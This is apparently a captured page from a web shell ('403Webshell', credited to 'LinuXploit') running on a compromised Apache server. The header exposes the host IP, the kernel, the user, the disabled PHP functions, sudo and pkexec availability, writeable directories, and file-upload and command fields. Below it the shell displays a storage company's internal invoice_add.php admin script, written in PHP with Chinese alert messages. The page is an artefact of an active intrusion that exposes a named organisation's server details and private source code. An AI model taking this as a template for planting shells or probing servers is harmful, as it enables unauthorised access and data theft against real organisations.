403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/invoice_add.php
<?php
	require_once("check_login.php");

	$message = "";
	if (empty($_POST["invoice_type"])) {
		$message .= "請選擇發票類型。\\n\\n";
	}

	if (empty($_POST["duedate"])) {
		$message .= "請輸入繳費日期。\\n\\n";
	}else{
		if(!validateDate($_POST["duedate"], "Y-m-d")){
			$message .= "請輸入正確的繳費日期。\\n\\n";
		}
	}

	if(!empty($message)){
		echo "<script>alert('".$message."'); history.back();</script>";
		exit;
	}

	if (!empty($_POST["invoice_type"])) {
		//$_SESSION["invoice_type"] = $_POST["invoice_type"];

		//if many location active, need to update this
		$location_info = get_location(1);

		$new_invoice_id = "";

		if ($_POST["invoice_type"] == "RENT") {

			if (!empty($_POST["rent_month"])) {
				//$_SESSION["order_id"] = $_POST["order_id"];

				$order_info = get_order((int)$_POST["order_id"]);

				$sql                  = "select max(id) as max_id from invoice";
				$new_invoice_code_num = bind_pdo($sql, NULL, "selectone");
				$invoice_code         = $location_info["location_code"] . "-I" . date("y") . str_pad($new_invoice_code_num["max_id"] + 1, 4, "0", STR_PAD_LEFT);

				$data = array(
					"code"        => $invoice_code,
					"order_id"    => (int)$_POST["order_id"],
					"customer_id" => $order_info["customer_id"],
					"status"      => "SENT",
					"remark"        => $_POST["invoice_remark"],
					"docdate"     => $nowdate,
					"createby"    => $_SESSION['cmsloginid'],
					"createdate"  => $nowdate,
					"lastupby"    => $_SESSION['cmsloginid'],
					"lastupdate"  => $nowdate
				);

				$result          = insert_record("invoice", $data);
				$rent_invoice_id = $dbh->lastInsertId();
				$new_invoice_id  = $rent_invoice_id;

				$total_invoice_amount = 0;

				$i = 0;
				foreach ($_POST["rent_month"] as $month) {
					if ($i == 0) {
						$invoice_duedate = $_POST["rent_duedate"][$month];
						$i++;
					}

					$total_invoice_amount += $_POST["rent_amount"][$month];

					//insert rent invoice detail
					$data = array(
						"invoice_id" => $rent_invoice_id,
						"type"       => $_POST["invoice_type"],
						"remark"     => $_POST["rent_remark"][$month],
						"month"      => $month,
						"price"      => $_POST["rent_amount"][$month],
						"uom_price"  => "MO",
						"qty"        => "1",
						"amount"     => $_POST["rent_amount"][$month] * 1,
						"createby"   => $_SESSION['cmsloginid'],
						"createdate" => $nowdate,
						"lastupby"   => $_SESSION['cmsloginid'],
						"lastupdate" => $nowdate
					);

					$result = insert_record("invoice_dtl", $data);

					/*unset($_SESSION["invoice_type"]);
					unset($_SESSION["order_id"]);*/
				}

				//update invoice amount
				$sql        = "update invoice set amount = ?, balance = ?, duedate = ? where id = ?";
				//$parameters = array($total_invoice_amount, $total_invoice_amount, $invoice_duedate, $new_invoice_id);
				$parameters = array($total_invoice_amount, $total_invoice_amount, $_POST["duedate"], $new_invoice_id);
				$result     = bind_pdo($sql, $parameters);

			} else {
				echo "<script>alert('請選擇要建立的租金月份發票。'); history.back();</script>";
				exit;
			}
		}

		if ($_POST["invoice_type"] == "ORDER_PRODUCT") {
			if (!empty($_POST["product_id"]) && !empty($_POST["customer_id"])) {
				$order_product_total = 0;

				foreach ($_POST["product_id"] as $product_id) {
					if (is_numeric($_POST["qty"][$product_id]) && (int)$_POST["qty"][$product_id] > 0) {

						$order_product_total += $_POST["price"][$product_id] * $_POST["qty"][$product_id];
					}
				}

				if ($order_product_total == 0) {
					echo "<script>alert('請選擇要購買的物品。'); history.back();</script>";
					exit;
				}
				//insert order product invoice
				$sql                  = "select max(id) as max_id from invoice";
				$new_invoice_code_num = bind_pdo($sql, NULL, "selectone");

				$invoice_code = $location_info["location_code"] . "-I" . date("y") . str_pad($new_invoice_code_num["max_id"] + 1, 4, "0", STR_PAD_LEFT);
				$data         = array(
					"order_id"    => "",
					"customer_id" => (int)$_POST["customer_id"],
					"status"      => "SENT",
					"code"        => $invoice_code,
					"amount"      => $order_product_total,
					"balance"     => $order_product_total,
					"docdate"     => $nowdate,
					"duedate"     => $_POST["duedate"],
					"remark"        => $_POST["invoice_remark"],
					"createby"    => $_SESSION['cmsloginid'],
					"createdate"  => $nowdate,
					"lastupby"    => $_SESSION['cmsloginid'],
					"lastupdate"  => $nowdate
				);

				$result                   = insert_record("invoice", $data);
				$order_product_invoice_id = $dbh->lastInsertId();
				$new_invoice_id           = $order_product_invoice_id;

				foreach ($_POST["product_id"] as $product_id) {
					if (is_numeric($_POST["qty"][$product_id]) && (int)$_POST["qty"][$product_id] > 0) {

						$data = array(
							"customer_id" => (int)$_POST["customer_id"],
							"product_id"  => $product_id,
							"qty"         => $_POST["qty"][$product_id],
							"price"       => $_POST["price"][$product_id],
							"amount"      => $_POST["price"][$product_id] * $_POST["qty"][$product_id],
							"createby"    => $_SESSION['cmsloginid'],
							"createdate"  => $nowdate,
							"lastupby"    => $_SESSION['cmsloginid'],
							"lastupdate"  => $nowdate,
						);

						$result = insert_record("order_product", $data);


						//insert order product invoice detail
						$data = array(
							"invoice_id"   => $order_product_invoice_id,
							"type"         => $_POST["invoice_type"],
							//"remark"       => $_POST["remark"],
							"price"        => $_POST["price"][$product_id],
							"uom_price"    => "PCS",
							"qty"          => $_POST["qty"][$product_id],
							"amount"       => $_POST["price"][$product_id] * $_POST["qty"][$product_id],
							"order_dtl_id" => $product_id,
							"createby"     => $_SESSION['cmsloginid'],
							"createdate"   => $nowdate,
							"lastupby"     => $_SESSION['cmsloginid'],
							"lastupdate"   => $nowdate
						);

						$result = insert_record("invoice_dtl", $data);


					}
				}
			} else {
				echo "<script>alert('請選擇客戶及選購物品。'); history.back();</script>";
				exit;
			}
		}

		if ($_POST["invoice_type"] == "PENALTY") {

			$message = "";
			if (!isset($_POST["invoice_belong"])) {
				$message .= "請選擇發票方式。\\n\\n";
			} else {
				if ($_POST["invoice_belong"] == "NEW") {
					if (empty($_POST["customer_id"])) {
						$message .= "請選擇客戶\\n\\n";
					}
				}

				if ($_POST["invoice_belong"] == "OLD") {
					if (empty($_POST["invoice_id"])) {
						$message .= "請選擇租金發票\\n\\n";
					}
				}

			}

			if (empty($_POST["penalty_amount"]) || !is_numeric($_POST["penalty_amount"]) || $_POST["penalty_amount"] < 0) {
				$message .= "請輸入正確的金額。\\n\\n";
			}

			if ($message != "") {
				echo "<script>alert('" . $message . "'); history.back();</script>";
				exit;
			} else {
				if ($_POST["invoice_belong"] == "NEW") {
					//insert penalty invoice
					$sql                  = "select max(id) as max_id from invoice";
					$new_invoice_code_num = bind_pdo($sql, NULL, "selectone");

					$invoice_code = $location_info["location_code"] . "-I" . date("y") . str_pad($new_invoice_code_num["max_id"] + 1, 4, "0", STR_PAD_LEFT);
					$data         = array(
						"order_id"    => "",
						"customer_id" => (int)$_POST["customer_id"],
						"status"      => "SENT",
						"code"        => $invoice_code,
						"amount"      => $_POST["penalty_amount"],
						"balance"     => $_POST["penalty_amount"],
						"docdate"     => $nowdate,
						"duedate"     => $_POST["duedate"],
						"remark"        => $_POST["invoice_remark"],
						"createby"    => $_SESSION['cmsloginid'],
						"createdate"  => $nowdate,
						"lastupby"    => $_SESSION['cmsloginid'],
						"lastupdate"  => $nowdate
					);

					$result             = insert_record("invoice", $data);
					$penalty_invoice_id = $dbh->lastInsertId();
					$new_invoice_id     = $penalty_invoice_id;

					//insert order product invoice detail
					$data = array(
						"invoice_id" => $penalty_invoice_id,
						"type"       => $_POST["invoice_type"],
						"remark"     => $_POST["remark"],
						"price"      => $_POST["penalty_amount"],
						"uom_price"  => "PCS",
						"qty"        => 1,
						"amount"     => $_POST["penalty_amount"] * 1,
						"createby"   => $_SESSION['cmsloginid'],
						"createdate" => $nowdate,
						"lastupby"   => $_SESSION['cmsloginid'],
						"lastupdate" => $nowdate
					);

					$result = insert_record("invoice_dtl", $data);
				}

				if ($_POST["invoice_belong"] == "OLD") {
					//insert order product invoice detail
					$data = array(
						"invoice_id" => (int)$_POST["invoice_id"],
						"type"       => $_POST["invoice_type"],
						"remark"     => $_POST["remark"],
						"price"      => $_POST["penalty_amount"],
						"uom_price"  => "PCS",
						"qty"        => 1,
						"amount"     => $_POST["penalty_amount"] * 1,
						"createby"   => $_SESSION['cmsloginid'],
						"createdate" => $nowdate,
						"lastupby"   => $_SESSION['cmsloginid'],
						"lastupdate" => $nowdate
					);

					$result = insert_record("invoice_dtl", $data);

					//update exist invoice
					$sql = "update invoice set amount = amount + ?, balance = balance + ?, lastupby = ?, lastupdate = ? where id = ?";
					$parameters = array($_POST["penalty_amount"], $_POST["penalty_amount"], $_SESSION["cmsloginid"], $nowdate, (int)$_POST["invoice_id"]);
					$result = bind_pdo($sql, $parameters);

					$new_invoice_id = (int)$_POST["invoice_id"];
				}
			}
		}

		header("Location: invoice_modifyform.php?id=" . $new_invoice_id);
	} else {
		echo "<script>alert('請選擇發票類型。'); history.back();</script>";
		exit;
	}


Youez - 2016 - github.com/yon3zu
LinuXploit